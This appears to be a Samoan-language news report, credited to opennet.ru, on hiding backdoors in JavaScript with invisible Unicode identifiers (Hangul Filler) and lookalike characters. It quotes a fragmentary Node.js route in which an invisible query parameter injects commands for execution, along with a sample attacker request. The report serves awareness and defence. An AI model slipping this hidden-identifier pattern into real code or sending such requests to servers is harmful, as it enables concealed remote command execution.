Fa'aogaina mataitusi unicode e le vaaia e nana ai gaioiga ile code JavaScript

I le mulimuli ai i le auala e osofaʻia ai Trojan Source e faʻavae i luga o le faʻaogaina o mataitusi Unicode e suia ai le faʻaaliga faʻasologa o tusitusiga faʻasolosolo, o se isi metotia mo le faʻalauiloaina o gaioiga natia ua faʻasalalau, e faʻatatau i le code JavaScript. O le auala fou e faʻavae i luga o le faʻaogaina o le unicode character "ㅤ" (code 0x3164, "HANGUL FILLER"), o se tusi ae leai se mea e mafai ona iloa. O le vaega Unicode o loʻo iai lenei tagata ua faʻatagaina talu mai le ECMAScript 2015 faʻamatalaga mo le faʻaaogaina i igoa fesuiaʻi JavaScript, lea e mafai ai ona fatuina ni fesuiaiga e le vaaia poʻo ni suiga fou e le mafai ona iloa mai isi fesuiaiga i tusitala lauiloa e pei ole Notepad++ ma le VS Code.

Mo se faʻataʻitaʻiga, o le code mo le Node.js platform o loʻo tuʻuina atu, lea, e faʻaaoga ai se fesuiaiga e aofia ai se tagata e tasi "ㅤ", o se backdoor o loʻo natia e mafai ai e oe ona faʻatinoina le code faʻamaonia e le tagata osofaia: app.get( '/network_health', async (req, res) => {const {timeout,ㅤ} = req.query; // fai mai moni lava "const {timeout,ㅤ \u3164}" const checkCommands = [ 'ping -c 1 google. com', 'curl -s http:// example.com/',ㅤ // koma sosoo ai ma \u3164 ];

I le tepa muamua, naʻo le taimi faʻagata e pasi atu i le pito i fafo, ma o le laina faʻatasi ma poloaiga e faʻatinoina o loʻo i ai se lisi tumau e le afaina. Ae o le mea moni, a maeʻa le fesuiaiga o le taimi, o le tau o se isi fesuiaiga e le vaaia ma le code code \u3164 ua tofia, lea e suitulaga foi i le faʻatulagaina o poloaiga faʻatinoina. O le mea lea, i le i ai o sea fausaga, e mafai e le tagata osofaʻi ona tuʻuina atu se talosaga e pei o le "https://host:8080/network_health?%E3%85%A4=command" e faʻagaoioia le pito i tua ma faʻatino lana code.

O se isi fa'ata'ita'iga, ua tu'uina mai le uiga "ǃ" (ALVEOLAR CLICK), lea e mafai ona fa'aogaina e fa'aalia ai se fa'ailoga fa'ailoga. Mo se fa'ata'ita'iga, o le fa'aaliga "afai(si'osi'omagaǃ=ENV_PROD){" pe a fa'atinoina i Node.js 14 o le a moni lava, aua e le siakia ni eseesega, ae fa'atulaga le fesuiaiga "si'osi'omagaǃ" i le ENV_PROD. O mataitusi unicode taufaasese e aofia ai le "／", "−", "＋", "⩵", "❨", "⫽", "꓿", ma le "∗".

puna: opennet.ru